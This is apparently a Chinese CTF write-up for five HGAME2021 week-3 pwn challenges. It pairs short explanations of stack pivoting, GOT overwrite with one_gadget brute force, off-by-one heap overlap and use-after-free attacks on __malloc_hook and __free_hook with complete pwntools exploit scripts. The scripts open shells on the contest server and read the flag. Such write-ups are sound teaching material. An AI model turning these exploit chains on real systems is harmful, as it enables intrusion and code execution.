HGAME2021 week3 pwn writeup

　　一共放出五道题，都不是很难。

blackgive

　　考栈转移，值得注意的一点是转移过去先填充几个ret，因为如果直接在转移过去的地方写rop链，执行起来会覆盖到上面的一些指针，导致程序不能正常输入和输出。我比较疑惑的是，我不清楚为什么我用system打不通，最后用one_gadgets才做出来。

 1 from pwn import *
 2
 3 p = remote('182.92.108.71',30459)
 4 libc = ELF('./libc.so.6')
 5 elf = ELF('./pwn')
 6 context(os='linux',arch='amd64',log_level='debug')
 7
 8 buf = 0x06010A0
 9 leave_ret = 0x04007A3
10 pop_rdi = 0x000400813
11 pop_rsi_r15 = 0x00400811
12 ret = 0x004007A4
13
14 payload = 'paSsw0rd\x00'
15 payload = payload.ljust(0x20,'\x00')+p64(buf)+p64(leave_ret)
16 p.sendafter(':',payload)
17
18 payload = p64(ret)*0x6+p64(pop_rdi)+p64(elf.got['puts'])
19 payload += p64(elf.plt['puts'])+p64(pop_rdi)+p64(0)
20 payload += p64(pop_rsi_r15)+p64(buf+0x78)+p64(0)
21 payload += p64(elf.plt['read'])
22 p.sendafter('right!\n',payload)
23
24 puts = u64(p.recv(6).ljust(8,'\x00'))
25 libc_base = puts-libc.symbols['puts']
26 binsh = libc_base+libc.search('/bin/sh').next()
27 system = libc_base+libc.symbols['system']
28 print 'libc_base-->'+hex(libc_base)
29 print 'binsh-->'+hex(binsh)
30 print 'system-->'+hex(system)
31
32 og = [0x4f3d5,0x4f432,0x10a41c]
33 shell = libc_base+og[1]
34 payload = p64(shell)
35 p.send(payload)
36 p.interactive()

without_leak

　　题目关闭了标准输出和错误输出，导致不能泄露libc拿shell。

　　在buu上面做过一道wustctf2020_closed，也是将标准输出和错误输出关闭了，不同点在于那道题是直接拿到了shell，而这道题还没有拿到shell。

　　思路是改写got表，将close的got表改成one_gadget，然后再去执行close拿到shell，就和buu上面的那道题一样了。让流重定向，就可以正常的输出了。（经过测试，将read的got表改成one_gadget也可以拿到shell）

　　至于为什么是read和close，就需要根据one_gadget和原来的got地址进行对比，发现这两个函数的got地址和one_gadget只相差两个字节，也就是四位，又因为后三位是固定的，所以有1/16的几率可以拿到shell。如果修改其他函数的got表，算了一下拿到shell的几率是1/4096，太难了，作为非洲酋长的我，深刻知道，自己有多脸黑。拿到shell之后执行exec 1>&0（或者是cat flag>&0），题目就做出来了，还侥幸拿了一血。

 1 from pwn import *
 2
 3 elf = ELF('./pwn',checksec="false")
 4 context.log_level = 'debug'
 5
 6 pop_rdi = 0x000401243
 7 pop_rsi_r15 = 0x00401241
 8 og = [0x4f3d5,0x4f432,0x10a41c]
 9 init = 0x040119B
10
11 while 1:
12     try:
13         p = remote('182.92.108.71',30483)
14         payload = 'a'*0x20+'bbbbbbbb'
15         payload += p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)
16         payload += p64(elf.got['close'])+p64(0)+p64(elf.plt['read'])
17         payload += p64(init)+p64(0x0401185)
18         p.sendafter('\n',payload)
19         p.send('\x1c\x34')
20         p.sendline('exec 1>&0')
21         p.sendline('ls')
22         p.recvuntil('flag')
23         break
24     except:
25         p.close()
26 p.sendline('cat flag')
27 p.recv()
28 p.interactive()

Library management System

　　给了libc，发现是ubuntu16.04的环境。

　　add函数中存在off by one，通过修改下一个chunk的size位，构造unsorted chunk，释放掉再申请回来，这步就成功泄露libc地址了，然后就是正常的做题，通过堆块重叠，修改fd地址，将chunk申请到__malloc_hook-0x23的位置，通过realloc抬栈，拿shell。做题的人都没有几个，这题拿了二血。

 1 from pwn import *
 2
 3 #p = process('./pwn')
 4 p = remote('182.92.108.71',30431)
 5 elf = ELF('./pwn')
 6 libc = ELF('./libc.so.6')
 7 context.log_level = 'debug'
 8
 9 def duan():
10     gdb.attach(p)
11     pause()
12 def add(size,content):
13     p.sendlineafter('choice: ','1')
14     p.sendlineafter('title: ',str(size))
15     p.sendafter('title: ',content)
16 def delete(index):
17     p.sendlineafter('choice: ','2')
18     p.sendlineafter('id: ',str(index))
19 def show(index):
20     p.sendlineafter('choice: ','3')
21     p.sendlineafter('id: ',str(index))
22
23 og = [0x45226,0x4527a,0xf0364,0xf1207]
24
25 add(0x18,'aaaaaaaa\n')
26 add(0x30,'bbbbbbbb\n')
27 add(0x68,'cccccccc\n')
28 add(0x10,'dddddddd\n')
29 delete(0)
30 add(0x18,'a'*0x18+'\xb1')
31 delete(1)
32 add(0x70,'aaaaaaaa\n')
33 show(1)
34 p.recvuntil('aaaaaaaa')
35 libc_base = u64(p.recv(6).ljust(8,'\x00'))-248-0x10-libc.symbols['__malloc_hook']
36 malloc_hook = libc_base+libc.symbols['__malloc_hook']
37 shell = libc_base+og[1]
38 realloc = libc_base+libc.symbols['realloc']
39 print 'libc_base-->'+hex(libc_base)
40 print 'malloc_hook-->'+hex(malloc_hook)
41 delete(2)
42 delete(1)
43 add(0x70,'aaaaaaaa'*6+p64(0)+p64(0x71)+p64(malloc_hook-0x23)+'\n')
44 add(0x68,'aaaaaaaa\n')
45 add(0x68,'a'*(0x13-8)+p64(shell)+p64(realloc+12)+'\n')
46 p.sendlineafter('choice: ','1')
47 p.sendlineafter('title: ','32')
48 p.interactive()

todolist

　　出题人说这道题题目本身有问题，进行了降分处理。

　　ubuntu18.04的，有uaf，很简单。

 1 from pwn import *
 2
 3 #p = process('./pwn')
 4 p = remote('182.92.108.71',30411)
 5 elf = ELF('./pwn')
 6 #libc = ELF('./libc.so.6')
 7 libc = ELF('./libc-2.27.so')
 8 context.log_level = 'debug'
 9
10 def duan():
11     gdb.attach(p)
12     pause()
13 def add(size):
14     p.sendlineafter('exit\n','1')
15     p.sendlineafter('write?\n',str(size))
16 def delete(index):
17     p.sendlineafter('exit\n','2')
18     p.sendlineafter('delete?\n',str(index))
19 def edit(index,size,content):
20     p.sendlineafter('exit\n','3')
21     p.sendlineafter('edit?\n',str(index))
22     p.sendlineafter('write?\n',str(size))
23     p.send(content)
24 def show(index):
25     p.sendlineafter('exit\n','4')
26     p.sendlineafter('check?\n',str(index))
27
28 #og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
29 og = [0x4f3d5,0x4f432,0x10a41c]
30
31 add(0x410)
32 add(0x10)
33 delete(0)
34 show(0)
35 libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00'))-96-0x10-libc.symbols['__malloc_hook']
36 free_hook = libc_base+libc.symbols['__free_hook']
37 shell = libc_base+og[1]
38 print 'libc_base-->'+hex(libc_base)
39 print 'free_hook-->'+hex(free_hook)
40 delete(1)
41 edit(1,8,p64(free_hook))
42 add(0x10)
43 add(0x10)
44 edit(3,8,p64(shell))
45 delete(2)
46 p.interactive()

todolist2

　　修改过后的题目，free之后把指针清0了，不存在uaf了。

　　漏洞主要是在edit函数，在进行写的时候有整数溢出漏洞。

　　通过edit函数可以进行溢出，覆盖fd指针，还是打__free_hook就可以拿到shell。

 1 from pwn import *
 2
 3 #p = process('./pwn')
 4 p = remote('182.92.108.71',30521)
 5 elf = ELF('./pwn')
 6 #libc = ELF('./libc.so.6')
 7 libc = ELF('./libc-2.27.so')
 8 context.log_level = 'debug'
 9
10 def duan():
11     gdb.attach(p)
12     pause()
13 def add(size):
14     p.sendlineafter('exit\n','1')
15     p.sendlineafter('write?\n',str(size))
16 def delete(index):
17     p.sendlineafter('exit\n','2')
18     p.sendlineafter('delete?\n',str(index))
19 def edit(index,size,content):
20     p.sendlineafter('exit\n','3')
21     p.sendlineafter('edit?\n',str(index))
22     p.sendlineafter('write?\n',str(size))
23     p.send(content)
24 def show(index):
25     p.sendlineafter('exit\n','4')
26     p.sendlineafter('check?\n',str(index))
27
28 #og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468]
29 og = [0x4f3d5,0x4f432,0x10a41c]
30
31 add(0x410)    #0
32 add(0x10)    #1
33 delete(0)
34 add(0x410)    #2
35 show(2)
36 libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00'))-96-0x10-libc.symbols['__malloc_hook']
37 free_hook = libc_base+libc.symbols['__free_hook']
38 shell = libc_base+og[1]
39 print 'libc_base-->'+hex(libc_base)
40 print 'free_hook-->'+hex(free_hook)
41 add(0x10)
42 add(0x10)
43 delete(4)
44 edit(3,-1,'aaaaaaaa'*2+p64(0)+p64(0x21)+p64(free_hook)+'\n')
45 add(0x10)
46 add(0x10)
47 edit(6,8,p64(shell))
48 delete(5)
49 p.interactive()

后记

　　花了一天的时间，把题目都做出来了，还拿了两个题的一血。第三周over！